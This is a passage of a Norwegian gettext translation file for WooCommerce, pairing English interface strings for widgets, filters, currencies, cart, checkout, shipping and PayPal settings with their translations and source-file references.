msgstr "Du må være logget inn for å koble til %1$s. Logg inn på din butikk nedenfor, eller <a href=\"%2$s\">avbryt og gå tilbake til %1$s</a>"
#: templates/auth/form-grant-access.php:65
msgid "Deny"
msgstr "Avslå"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:465
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:474
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:687
#: templates/auth/form-grant-access.php:64
#: assets/client/admin/chunks/homescreen.js:1
msgid "Approve"
msgstr "Godkjenne"
#. Translators: %s display name.
#: templates/auth/form-grant-access.php:57
msgid "Logged in as %s"
msgstr "Logget inn som %s"
#. Translators: %s App name.
#. translators: %s: app name
#: templates/auth/form-grant-access.php:26 templates/auth/form-login.php:25
msgid "%s would like to connect to your store"
msgstr "%s ønsker å koble seg til butikken din"
#: includes/widgets/class-wc-widget-top-rated-products.php:28
#: assets/client/blocks/product-collection.js:1
msgid "Top rated products"
msgstr "Toppvurderte produkter"
#: includes/widgets/class-wc-widget-recently-viewed.php:29
msgid "Recently Viewed Products"
msgstr "Nylig viste produkter"
#: includes/widgets/class-wc-widget-recent-reviews.php:36
msgid "Number of reviews to show"
msgstr "Antall omtaler å vise"
#: includes/widgets/class-wc-widget-recent-reviews.php:27
msgid "Recent reviews"
msgstr "Nylige omtaler"
#: includes/widgets/class-wc-widget-products.php:79
msgid "Show hidden products"
msgstr "Vis skjulte produkter"
#: includes/widgets/class-wc-widget-products.php:74
msgid "Hide free products"
msgstr "Skjul gratisprodukter"
#: includes/widgets/class-wc-widget-products.php:68
msgid "DESC"
msgstr "Synkende"
#: includes/widgets/class-wc-widget-products.php:67
msgid "ASC"
msgstr "Stigende"
#: includes/widgets/class-wc-widget-products.php:65
msgctxt "Sorting order"
msgid "Order"
msgstr "Rekkefølge"
#: includes/widgets/class-wc-widget-products.php:59
#: assets/client/admin/chunks/multichannel-marketing.js:1
msgid "Sales"
msgstr "Tilbud"
#: includes/widgets/class-wc-widget-products.php:58
#: assets/client/blocks/product-collection.js:3
msgid "Random"
msgstr "Tilfeldig"
#: includes/widgets/class-wc-widget-products.php:47
msgid "On-sale products"
msgstr "Produkter på tilbud"
#: includes/widgets/class-wc-widget-products.php:46
#: assets/client/blocks/product-collection.js:1
msgid "Featured products"
msgstr "Fremhevede produkter"
#: includes/widgets/class-wc-widget-products.php:45
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/chunks/analytics-report-stock.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
msgid "All products"
msgstr "Alle produkter"
#: includes/widgets/class-wc-widget-products.php:38
#: includes/widgets/class-wc-widget-recently-viewed.php:38
#: includes/widgets/class-wc-widget-top-rated-products.php:37
msgid "Number of products to show"
msgstr "Antall produkter som vises"
#: includes/widgets/class-wc-widget-product-categories.php:287
msgid "No product categories exist."
msgstr "Ingen produktkategorier finnes."
#: includes/widgets/class-wc-widget-product-categories.php:73
msgid "Only show children of the current category"
msgstr "Bare vis underkategorier fra aktuell kategori"
#: includes/widgets/class-wc-widget-product-categories.php:68
#: assets/client/blocks/product-categories.js:1
msgid "Show hierarchy"
msgstr "Vis hierarki"
#: includes/widgets/class-wc-widget-product-categories.php:63
msgid "Show product counts"
msgstr "Vis produkt antall"
#: includes/widgets/class-wc-widget-product-categories.php:58
msgid "Show as dropdown"
msgstr "Vis som rullegardin"
#: includes/widgets/class-wc-widget-product-categories.php:51
msgid "Category order"
msgstr "Kategorirekkefølge"
#: includes/widgets/class-wc-widget-product-categories.php:37
msgid "A list or dropdown of product categories."
msgstr "En liste eller en rullegardin med produktkategorier."
#: templates/content-widget-price-filter.php:34
msgid "Price:"
msgstr "Pris:"
#. translators: Filter: verb "to filter"
#: includes/admin/class-wc-admin-log-table-list.php:260
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Abstract_ListTable.php:541
#: src/Internal/Admin/Logging/FileV2/FileListTable.php:118
#: src/Internal/Admin/Orders/ListTable.php:793
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1320
#: src/Internal/StockNotifications/Admin/ListTable.php:438
#: templates/content-widget-price-filter.php:32
#: assets/client/admin/components/index.js:2
#: assets/client/admin/product-editor/index.js:2
msgid "Filter"
msgstr "Filtrer"
#: templates/content-widget-price-filter.php:29
#: templates/content-widget-price-filter.php:30
msgid "Max price"
msgstr "Makspris"
#: templates/content-widget-price-filter.php:27
#: templates/content-widget-price-filter.php:28
msgid "Min price"
msgstr "Min. pris"
#: includes/widgets/class-wc-widget-price-filter.php:31
#: assets/client/blocks/filter-wrapper.js:1
#: assets/client/blocks/price-filter.js:5
msgid "Filter by price"
msgstr "Filtrer på pris"
#. translators: %s: taxonomy name
#. translators: %s: the attribute name.
#: includes/widgets/class-wc-widget-layered-nav.php:250
#: src/Admin/API/Reports/Variations/Controller.php:409
#: assets/client/admin/chunks/2304.js:1 assets/client/admin/chunks/3837.js:1
#: assets/client/admin/chunks/analytics-report-coupons.js:1
#: assets/client/admin/chunks/analytics-report-customers.js:1
#: assets/client/admin/chunks/analytics-report-downloads.js:1
#: assets/client/admin/chunks/analytics-report-taxes.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Any %s"
msgstr "Enhver %s"
#: includes/widgets/class-wc-widget-layered-nav.php:100
#: assets/client/admin/chunks/6526.js:1
msgid "OR"
msgstr "ELLER"
#: includes/widgets/class-wc-widget-layered-nav.php:99
msgid "AND"
msgstr "OG"
#: includes/widgets/class-wc-widget-layered-nav.php:97
#: assets/client/blocks/product-collection.js:3
msgid "Query type"
msgstr "Spørretype"
#: includes/widgets/class-wc-widget-brand-nav.php:204
#: includes/widgets/class-wc-widget-layered-nav.php:91
#: assets/client/blocks/add-to-cart-with-options-variation-selector-attribute-options.js:1
#: assets/client/blocks/attribute-filter.js:19
#: assets/client/blocks/product-categories.js:1
#: assets/client/blocks/rating-filter.js:9
#: assets/client/blocks/stock-filter.js:8
msgid "Dropdown"
msgstr "Rullegardin"
#: includes/widgets/class-wc-widget-brand-nav.php:203
#: includes/widgets/class-wc-widget-layered-nav.php:90
#: assets/client/admin/chunks/1087.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
#: assets/client/blocks/active-filters.js:6
#: assets/client/blocks/attribute-filter.js:19
#: assets/client/blocks/product-categories.js:1
#: assets/client/blocks/rating-filter.js:9
#: assets/client/blocks/stock-filter.js:8
msgid "List"
msgstr "Liste"
#: includes/widgets/class-wc-widget-layered-nav.php:82
#: src/Blocks/BlockTypes/ProductFilterAttribute.php:358
#: assets/client/admin/product-editor/index.js:2
#: assets/client/blocks/product-filter-attribute.js:1
msgid "Attribute"
msgstr "Attributt"
#: includes/widgets/class-wc-widget-layered-nav.php:76
#: assets/client/admin/chunks/analytics-report-stock.js:1
msgid "Filter by"
msgstr "Filtrer på"
#. translators: %s: minimum price
#. translators: %s: maximum price
#. translators: %s: rating
#: includes/widgets/class-wc-widget-layered-nav-filters.php:100
#: includes/widgets/class-wc-widget-layered-nav-filters.php:108
#: includes/widgets/class-wc-widget-layered-nav-filters.php:114
#: includes/widgets/class-wc-widget-layered-nav-filters.php:123
msgid "Remove filter"
msgstr "Fjern filter"
#: includes/admin/reports/class-wc-report-downloads.php:123
#: includes/widgets/class-wc-widget-layered-nav-filters.php:27
#: assets/client/blocks/active-filters.js:6
#: assets/client/blocks/filter-wrapper.js:1
msgid "Active filters"
msgstr "Aktive filtre"
#: includes/widgets/class-wc-widget-cart.php:35
msgid "Hide if cart is empty"
msgstr "Skjul dersom handlekurven er tom"
#: includes/widgets/class-wc-widget-cart.php:25
#: includes/widgets/class-wc-widget-cart.php:29
#: includes/widgets/class-wc-widget-cart.php:64
#: src/Blocks/BlockTypes/Cart.php:61 src/Blocks/BlockTypes/CartLink.php:31
#: src/Blocks/BlockTypes/MiniCart.php:819
#: src/Blocks/BlockTypes/MiniCart.php:826
#: assets/client/blocks/cart-frontend.js:8 assets/client/blocks/cart-link.js:1
#: assets/client/blocks/cart.js:32
msgid "Cart"
msgstr "Handlekurv"
#: includes/admin/settings/class-wc-settings-emails.php:490
#: includes/wc-webhook-functions.php:152
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:203
msgid "Disabled"
msgstr "Deaktivert"
#: includes/wc-webhook-functions.php:151
msgid "Paused"
msgstr "Satt på pause"
#: includes/admin/helper/class-wc-helper.php:469
#: includes/admin/helper/views/html-main.php:143
#: includes/admin/helper/views/html-main.php:146
#: includes/wc-webhook-functions.php:150
#: assets/client/admin/chunks/marketplace.js:1
#: assets/client/admin/chunks/settings-payments-main.js:1
msgid "Active"
msgstr "Aktiv"
#: includes/wc-user-functions.php:83
msgid "An account is already registered with that username. Please choose another."
msgstr "En konto er allerede registrert med det brukernavnet. Vennligst velg et annet."
#: includes/wc-user-functions.php:79
msgid "Please provide a valid account username."
msgstr "Du må angi et gyldig brukernavn for kontoen."
#: includes/wc-term-functions.php:236
#: includes/widgets/class-wc-widget-product-categories.php:266
#: src/Blocks/BlockTypes/ProductCategories.php:241
#: src/Blocks/BlockTypes/ProductCategories.php:245
#: assets/client/blocks/featured-category.js:15
msgid "Select a category"
msgstr "Velg kategori"
#: includes/wc-template-functions.php:3187
#: includes/wc-template-functions.php:3358
#: includes/wc-template-functions.php:3378
#: src/Blocks/BlockTypes/AddToCartWithOptions/VariationSelectorAttributeOptions.php:216
msgid "Choose an option"
msgstr "Velg et alternativ"
#: includes/wc-template-functions.php:2617
msgid "Place order"
msgstr "Bekreft ordre"
#: includes/wc-template-functions.php:2549
msgctxt "breadcrumb"
msgid "Home"
msgstr "Hjem"
#. translators: %s: reviews count
#: includes/wc-template-functions.php:2107
msgid "Reviews (%d)"
msgstr "Omtaler (%d)"
#: includes/class-wc-emails.php:824 includes/class-wc-emails.php:829
#: includes/wc-template-functions.php:2097
#: src/Blocks/BlockTypesController.php:208
#: src/Blocks/Domain/Services/CheckoutFieldsFrontend.php:108
#: templates/checkout/form-shipping.php:57
#: templates/single-product/tabs/additional-information.php:22
msgid "Additional information"
msgstr "Tilleggsinformasjon"
#: includes/wc-template-functions.php:1642
msgid "Sort by price: high to low"
msgstr "Sorter etter pris: høy til lav"
#: includes/wc-template-functions.php:1641
msgid "Sort by price: low to high"
msgstr "Sorter etter pris: lav til høy"
#: includes/wc-template-functions.php:1639
msgid "Sort by average rating"
msgstr "Sorter etter vurdering"
#: includes/wc-template-functions.php:1638
msgid "Sort by popularity"
msgstr "Sorter etter popularitet"
#: includes/wc-template-functions.php:1572
#: includes/wc-template-functions.php:1637
#: assets/client/blocks/all-products-frontend.js:4
#: assets/client/blocks/all-products.js:12
#: assets/client/blocks/catalog-sorting.js:1
msgid "Default sorting"
msgstr "Standard sortering"
#. translators: %s: page number
#: includes/wc-template-functions.php:1129
msgid " – Page %s"
msgstr " – Side %s"
#. translators: %s: search query
#: includes/wc-template-functions.php:1125
msgid "Search results: “%s”"
msgstr "Søkeresultater: «%s»"
#: includes/class-wc-brands.php:178 includes/wc-product-functions.php:298
msgctxt "slug"
msgid "uncategorized"
msgstr "ukategorisert"
#: includes/wc-account-functions.php:75
msgctxt "edit-address-slug"
msgid "shipping"
msgstr "frakt"
#: includes/wc-account-functions.php:74
msgctxt "edit-address-slug"
msgid "billing"
msgstr "fakturering"
#. translators: %s: Order date
#: includes/class-wc-order-refund.php:85
#: includes/data-stores/class-wc-order-refund-data-store-cpt.php:132
#: src/Internal/DataStores/Orders/OrdersTableRefundDataStore.php:199
msgid "Refund – %s"
msgstr "Refusjon – %s"
#: includes/wc-order-functions.php:1121
msgid "Unpaid order cancelled - time limit reached."
msgstr "Ubetalt ordre kansellert - tidsfrist nådd."
#: includes/wc-notice-functions.php:25 includes/wc-notice-functions.php:58
#: includes/wc-notice-functions.php:78 includes/wc-notice-functions.php:109
#: includes/wc-notice-functions.php:123 includes/wc-notice-functions.php:138
#: includes/wc-notice-functions.php:236
msgid "This function should not be called before woocommerce_init."
msgstr "Denne funksjonen bør ikke kalles før woocommerce_init."
#: includes/wc-core-functions.php:546
msgid "Egyptian pound"
msgstr "Egyptian pound"
#: includes/wc-core-functions.php:650
msgid "Ukrainian hryvnia"
msgstr "Ukrainian hryvnia"
#: includes/wc-core-functions.php:646
msgid "Turkish lira"
msgstr "Turkish lira"
#: includes/wc-core-functions.php:641
msgid "Thai baht"
msgstr "Thai baht"
#: includes/wc-core-functions.php:533
msgid "Swiss franc"
msgstr "Swiss franc"
#: includes/wc-core-functions.php:631
msgid "Swedish krona"
msgstr "Swedish krona"
#: includes/wc-core-functions.php:665
msgid "South African rand"
msgstr "Sørafrikanske Rand"
#: includes/wc-core-functions.php:632
msgid "Singapore dollar"
msgstr "Singapore dollar"
#: includes/wc-core-functions.php:625
msgid "Russian ruble"
msgstr "Russian ruble"
#: includes/wc-core-functions.php:623
msgid "Romanian leu"
msgstr "Romanian leu"
#: includes/wc-core-functions.php:552
msgid "Pound sterling"
msgstr "Pound sterling"
#: includes/wc-core-functions.php:617
msgid "Philippine peso"
msgstr "Philippine peso"
#: includes/wc-core-functions.php:612
msgid "New Zealand dollar"
msgstr "New Zealand dollar"
#: includes/wc-core-functions.php:610
msgid "Norwegian krone"
msgstr "Norske Kroner"
#: includes/wc-core-functions.php:608
msgid "Nigerian naira"
msgstr "Nigerian naira"
#: includes/wc-core-functions.php:604
msgid "Mexican peso"
msgstr "Mexican peso"
#: includes/wc-core-functions.php:605
msgid "Malaysian ringgit"
msgstr "Malaysian ringgit"
#: includes/wc-core-functions.php:583
msgid "South Korean won"
msgstr "South Korean won"
#: includes/wc-core-functions.php:587
msgid "Lao kip"
msgstr "Lao kip"
#: includes/wc-core-functions.php:577
msgid "Japanese yen"
msgstr "Japanese yen"
#: includes/wc-core-functions.php:569
msgid "Indian rupee"
msgstr "Indian rupee"
#: includes/wc-core-functions.php:566
msgid "Indonesian rupiah"
msgstr "Indonesian rupiah"
#: includes/wc-core-functions.php:565
msgid "Hungarian forint"
msgstr "Hungarian forint"
#: includes/wc-core-functions.php:563
msgid "Croatian kuna"
msgstr "Croatian kuna"
#: includes/wc-core-functions.php:561
msgid "Hong Kong dollar"
msgstr "Hong Kong dollar"
#: includes/wc-core-functions.php:544
msgid "Dominican peso"
msgstr "Dominican peso"
#: includes/wc-core-functions.php:543
msgid "Danish krone"
msgstr "Danish krone"
#: includes/wc-core-functions.php:541
msgid "Czech koruna"
msgstr "Czech koruna"
#: includes/wc-core-functions.php:536
msgid "Colombian peso"
msgstr "Colombian peso"
#: includes/wc-core-functions.php:535
msgid "Chinese yuan"
msgstr "Chinese yuan"
#: includes/wc-core-functions.php:534
msgid "Chilean peso"
msgstr "Chilean peso"
#: includes/wc-core-functions.php:531
msgid "Canadian dollar"
msgstr "Canadian dollar"
#: includes/wc-core-functions.php:517
msgid "Bulgarian lev"
msgstr "Bulgarian lev"
#: includes/wc-core-functions.php:523
msgid "Brazilian real"
msgstr "Brazilian real"
#: includes/wc-core-functions.php:516
msgid "Bangladeshi taka"
msgstr "Bangladeshi Taka"
#: includes/wc-core-functions.php:511
msgid "Australian dollar"
msgstr "Australian dollar"
#: includes/wc-core-functions.php:510
msgid "Argentine peso"
msgstr "Argentine Peso"
#: includes/wc-core-functions.php:504
msgid "United Arab Emirates dirham"
msgstr "United Arab Emirates dirham"
#. translators: %s: Order date
#: includes/data-stores/abstract-wc-order-data-store-cpt.php:401
msgid "Order – %s"
msgstr "Ordre – %s"
#. translators: %s: coupon code.
#: includes/wc-cart-functions.php:322
msgid "[Remove]"
msgstr "[Fjern]"
#: includes/wc-cart-functions.php:317
msgid "Free shipping coupon"
msgstr "Rabattkode for gratis levering"
#: templates/cart/cart.php:175 templates/checkout/form-coupon.php:42
msgid "Coupon:"
msgstr "Rabattkode:"
#: includes/wc-cart-functions.php:163
msgid "and"
msgstr "og"
#. translators: %s: Item name.
#. translators: %s: product name
#: includes/class-wc-form-handler.php:662 includes/wc-cart-functions.php:111
msgctxt "Item name in quotes"
msgid "“%s”"
msgstr "«%s»"
#: includes/wc-cart-functions.php:129
msgid "Continue shopping"
msgstr "Fortsett å handle"
#. translators: %s: product name
#: includes/wc-cart-functions.php:123
msgid "%s has been added to your cart."
msgid_plural "%s have been added to your cart."
msgstr[0] "%s er lagt til handlekurven din."
msgstr[1] "%s er lagt til handlekurven din."
#: includes/wc-cart-functions.php:29
msgid "This product is protected and cannot be purchased."
msgstr "Dette produktet er beskyttet og kan ikke kjøpes."
#: includes/wc-attribute-functions.php:256
#: includes/wc-attribute-functions.php:283
#: assets/client/admin/components/index.js:2
msgid "Select"
msgstr "Velg"
#: includes/wc-update-functions.php:959
msgid "Order fully refunded"
msgstr "Odre refundert helt"
#: includes/shortcodes/class-wc-shortcode-order-tracking.php:48
msgid "Please enter a valid order ID"
msgstr "Du må fylle inn en gyldig ordre-id"
#: includes/abstracts/abstract-wc-payment-gateway.php:626
msgid "Use a new payment method"
msgstr "Bruk en ny betalingsmåte"
#: includes/shortcodes/class-wc-shortcode-my-account.php:323
msgid "Password reset is not allowed for this user"
msgstr "Tilbakestilling av passord ikke tillat for denne brukeren"
#: includes/shortcodes/class-wc-shortcode-my-account.php:309
msgid "Invalid username or email."
msgstr "Ugyldig brukernavn eller e-postadresse."
#: includes/shortcodes/class-wc-shortcode-my-account.php:284
msgid "Enter a username or email address."
msgstr "Fyll inn brukernavn eller e-postadresse."
#: templates/myaccount/form-login.php:54
#: assets/client/blocks/checkout-frontend.js:2
#: assets/client/blocks/customer-account.js:1
msgid "Log in"
msgstr "Logg inn"
#: includes/shortcodes/class-wc-shortcode-checkout.php:367
msgid "The order totals have been updated. Please confirm your order by pressing the \"Place order\" button at the bottom of the page."
msgstr "Ordretotalene er blitt oppdatert. Bekreft ordren din ved å klikke på \"Bekreft ordre\"-knappen nederst på siden."
#: src/Blocks/BlockTypes/OrderConfirmation/Summary.php:33
#: templates/checkout/order-receipt.php:29 templates/checkout/thankyou.php:54
#: assets/client/blocks/order-confirmation-summary.js:1
msgid "Date:"
msgstr "Dato:"
#: templates/checkout/order-receipt.php:25 templates/checkout/thankyou.php:49
#: assets/client/blocks/order-confirmation-summary.js:1
msgid "Order number:"
msgstr "Ordrenummer:"
#: includes/shortcodes/class-wc-shortcode-checkout.php:95
#: includes/shortcodes/class-wc-shortcode-checkout.php:250
msgid "Sorry, this order is invalid and cannot be paid for."
msgstr "Beklager, denne ordren er ugyldig og kan ikke bli betalt for."
#. translators: %s: order status
#: includes/shortcodes/class-wc-shortcode-checkout.php:125
#: includes/shortcodes/class-wc-shortcode-checkout.php:247
msgid "This order’s status is “%s”—it cannot be paid for. Please contact us if you need assistance."
msgstr "Denne ordrens status er «%s», den kan ikke betales. Ta kontakt med oss hvis du trenger hjelp."
#: includes/shortcodes/class-wc-shortcode-my-account.php:140
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:147
#: templates/checkout/thankyou.php:38
#: templates/emails/block/customer-new-account.php:71
#: templates/emails/customer-new-account.php:48
msgid "My account"
msgstr "Min konto"
#: includes/shortcodes/class-wc-shortcode-cart.php:57
msgid "Shipping costs updated."
msgstr "Fraktkostnader oppdatert."
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:118
msgid "What ZIP/post codes are available for local pickup?"
msgstr "Hvilke postnummer er tilgjengelig for lokal henting?"
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:170
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:120
msgid "Separate codes with a comma. Accepts wildcards, e.g. <code>P*</code> will match a postcode of PE30. Also accepts a pattern, e.g. <code>NG1___</code> would match NG1 1AA but not NG10 1AA"
msgstr "Egne koder med komma. Godtar jokertegn, f.eks <code>P*</code> vil matche et postnummer på PE30. Aksepterer også et mønster, f.eks<code>NG1___</code> ville samsvarer med NG11AA men ikke NG10 1AA"
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:168
msgid "What ZIP/post codes are available for local delivery?"
msgstr "Hvilke postnummer er tilgjengelig for lokal levering?"
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:166
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:116
msgid "Allowed ZIP/post codes"
msgstr "Tillatte postnumre"
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:160
msgid "What fee do you want to charge for local delivery, disregarded if you choose free. Leave blank to disable."
msgstr "Hvilket gebyr vil du ta for lokal levering; tilsidesatt hvis du velger gratis. La stå tom for å deaktivere."
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:158
msgid "Delivery fee"
msgstr "Leveringsgebyr"
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:153
msgid "Fixed amount per product"
msgstr "Fast beløp pr. produkt"
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:152
msgid "Percentage of cart total"
msgstr "Prosent av handlekurvens total"
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:151
msgid "Fixed amount"
msgstr "Fast beløp"
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:148
msgid "How to calculate delivery charges"
msgstr "Hvordan fraktkostnader beregnes"
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:145
msgid "Fee type"
msgstr "Gebyrtype"
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:132
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:103
#: src/Internal/Admin/Onboarding/OnboardingHelper.php:90
#: src/Internal/Admin/Onboarding/OnboardingHelper.php:100
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/Table.php:175
#: assets/client/admin/chunks/5753.js:1 assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/launch-store.js:1
#: assets/client/admin/chunks/settings-payments-main.js:1
msgid "Enable"
msgstr "Aktiver"
#: includes/shipping/legacy-international-delivery/class-wc-shipping-legacy-international-delivery.php:59
msgid "Excluding selected countries"
msgstr "Utelater valgte land"
#: includes/shipping/legacy-international-delivery/class-wc-shipping-legacy-international-delivery.php:58
msgid "Selected countries"
msgstr "Valgte land"
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:149
msgid "Users will need to spend this amount to get free shipping (if enabled above)."
msgstr "Brukere må bruke dette beløpet for å få gratis frakt (hvis aktivert ovenfor)."
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:125
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:146
msgid "Minimum order amount"
msgstr "Minste ordrebeløp"
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:142
msgid "A minimum order amount AND a coupon"
msgstr "Et minimum ordrebeløp OG en rabattkode"
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:141
msgid "A minimum order amount OR a coupon"
msgstr "Et minimum ordrebeløp ELLER en rabattkode"
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:118
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:139
msgid "A valid free shipping coupon"
msgstr "En gyldig rabattkode for gratis levering"
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:133
msgid "Free shipping requires..."
msgstr "Gratis frakt krever..."
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:112
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:174
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:124
msgid "Method availability"
msgstr "Metodens tilgjengelighet"
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:131
msgid "Option name | Additional cost [+- Percents%] | Per cost type (order, class, or item)"
msgstr "Valgnavn | Tilleggskostnad [+- prosent%] | Pr. kostnadstype (ordre, klasse, eller produkt)"
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:128
msgid "One per line: Option name | Additional cost [+- Percents] | Per cost type (order, class, or item) Example: <code>Priority mail | 6.95 [+ 0.2%] | order</code>."
msgstr "Ett pr. linje: Valgnavn | Tilleggskostnad [+- Prosent | Per kostnadstype (ordre, klasse, eller produkt) Eksempel: <code>A Post | 6.95 [+ 0.2%] | ordre</code>."
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:123
msgid "These rates are extra shipping options with additional costs (based on the flat rate)."
msgstr "Disse prisene er ekstra fraktalternativer med ekstra kostnader (basert på flat sats)."
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:120
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:126
msgid "Additional rates"
msgstr "Tilleggssatser"
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:91
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:113
msgid "Per order: Charge shipping for the most expensive shipping class"
msgstr "Per ordre: ta betalt for frakt ut fra den dyreste fraktklassen"
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:90
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:112
msgid "Per class: Charge shipping for each shipping class individually"
msgstr "Per klasse: ta betalt for frakt for hver fraktklasse individuelt"
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:85
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:107
msgid "Calculation type"
msgstr "Beregningstype"
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:74
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:99
msgid "No shipping class cost"
msgstr "Kostnad for «Ingen fraktklasse»"
#. translators: %s: shipping class name
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:62
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:90
msgid "\"%s\" shipping class cost"
msgstr "Kostnad for «%s»"
#. translators: %s: Admin shipping settings URL
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:82
msgid "These costs can optionally be added based on the <a href=\"%s\">product shipping class</a>."
msgstr "Disse kostnadene kan valgfritt legges til, basert på <a href=\"%s\">produktets fraktklasse</a>."
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:50
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:78
msgid "Shipping class costs"
msgstr "Fraktklassekostnader"
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:51
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:129
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:191
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:141
msgid "Select some countries"
msgstr "Velg noen land"
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:39
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:117
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:179
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:129
msgid "All allowed countries"
msgstr "Alle tillatte land"
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:34
#: includes/shipping/legacy-international-delivery/class-wc-shipping-legacy-international-delivery.php:52
msgid "Availability"
msgstr "Tilgjengelighet"
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:27
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:105
msgid "Method title"
msgstr "Metodetittel"
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:14
msgid "Supports the following placeholders: <code>[qty]</code> = number of items, <code>[cost]</code> = cost of items, <code>[fee percent=\"10\" min_fee=\"20\"]</code> = Percentage based fee."
msgstr "Støtter følgende plassholdere: <code>[qty]</code> = antall produkter, <code>[cost]</code> = kostnad for produktene, <code>[fee percent=\\\"10\\\" min_fee=\\\"20\\\"]</code> = Prosentbasert avgift."
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:12
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:14
msgid "Enter a cost (excl. tax) or sum, e.g. <code>10.00 * [qty]</code>."
msgstr "Legg inn en kostnad (uten avgift) eller sum, f.eks. <code>10,00 * [qty]</code>."
#: includes/shipping/flat-rate/class-wc-shipping-flat-rate.php:45
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:20
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:30
#: src/Internal/Admin/EmailPreview/EmailPreview.php:400
msgid "Flat rate"
msgstr "Fastpris"
#: includes/wc-account-functions.php:283 includes/wc-account-functions.php:431
#: src/StoreApi/Utilities/PaymentUtils.php:27
msgid "Credit card"
msgstr "Kredittkort"
#. translators: %s: Order ID.
#: templates/emails/email-order-details.php:60
msgid "[Order #%s]"
msgstr "Ordrenr. %s"
#: includes/gateways/paypal/includes/settings-paypal.php:157
#: includes/gateways/paypal/includes/settings-paypal.php:166
#: includes/gateways/paypal/includes/settings-paypal.php:175
#: includes/gateways/paypal/includes/settings-paypal.php:184
#: includes/gateways/paypal/includes/settings-paypal.php:193
#: includes/gateways/paypal/includes/settings-paypal.php:202
msgid "Get your API credentials from PayPal."
msgstr "Få API legitimasjon fra PayPal."
#. translators: %s: URL
#: includes/gateways/paypal/includes/settings-paypal.php:151
msgid "Enter your PayPal API credentials to process refunds via PayPal. Learn how to access your <a href=\"%s\">PayPal API Credentials</a>."
msgstr "Fyll inn deres PayPal API-legitimasjon for å behandle refusjoner gjennom PayPal. Lær hvordan du får tilgang til deres <a href=\"%s\">PayPal API-legitimasjon</a>."
#: includes/gateways/paypal/includes/settings-paypal.php:148
